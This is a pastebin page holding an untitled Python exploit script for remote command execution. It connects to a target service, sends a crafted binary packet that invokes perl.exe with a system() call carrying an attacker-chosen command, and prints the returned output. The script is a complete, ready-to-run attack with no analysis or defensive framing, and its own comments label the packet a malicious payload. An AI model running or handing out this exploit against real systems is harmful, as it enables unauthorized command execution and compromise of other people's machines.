Untitled

mail@pastecode.io avatar
unknown
python
a month ago
2.4 kB
2
Indexable
Never
import socket
import struct
import sys

def usage():
    print("Usage: %s <target> <port> <command>" % sys.argv[0], file=sys.stderr)
    exit(-1)

def exploit(host, port, command):
    # Try to connect
    print("[*] Connecting to target '%s:%s'..." % (host, port), file=sys.stderr)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((host, int(port)))
    except Exception as ex:
        print("[!] Socket error: \n\t%s" % ex, file=sys.stderr)
        exit(-3)
    else:
        print("[*] Connected to the target.", file=sys.stderr)
    
    # Connected, build the malicious payload
    OFFSET = 46
    command = command.replace("\\", "\\\\")
    command_size = bytes([OFFSET + len(command)])
    CRAFTED_PKT = b"\x00\x00\x00" + \
                  command_size   + \
                  b"\x32\x00\x01" + \
                  b"\x01\x01\x01" + \
                  b"\x01\x01\x00" + \
                  b"\x01\x00\x01" + \
                  b"\x00\x01\x00" + \
                  b"\x01\x01\x00" + \
                  b"\x2028\x00"   + \
                  b"\\perl.exe"   + \
                  b"\x00 -esystem('%s')\x00" % command.encode()
    
    # Send payload to target
    print("[*] Sending payload '%s'" % command, file=sys.stderr)
    sock.sendall(CRAFTED_PKT)
    
    # Parse the response back
    print("[*] Output:", file=sys.stderr)
    while True:
        # Get information about response
        response_size = sock.recv(4)
        if not response_size: break
        n = struct.unpack(">I", response_size)[0]

        # Get command results
        # code  = response[:5]
        # data  = response[5:]
        response = sock.recv(n)

        # Clean and parse results
        response = response[5:].strip()
        response = response.decode().replace("\n", "")
        response = response.replace("\x00", "")
        # Check for the end-of-message
        if response.upper().find("*RETVAL*") != -1:
            break
        print(response)

    # Close connection
    sock.close()

if __name__ == "__main__":
    # Get command-line
    argc = len(sys.argv)
    if argc < 4:
        usage()
    host = sys.argv[1]
    port = sys.argv[2]
    cmd  = sys.argv[3]
    if port.isdigit():
        port = int(port)
    else:
        print("[!] Error, invalid port value", file=sys.stderr)
        exit(-2)

    # Send malicious payload
    exploit(host, port, cmd)
    exit(0)
Leave a Comment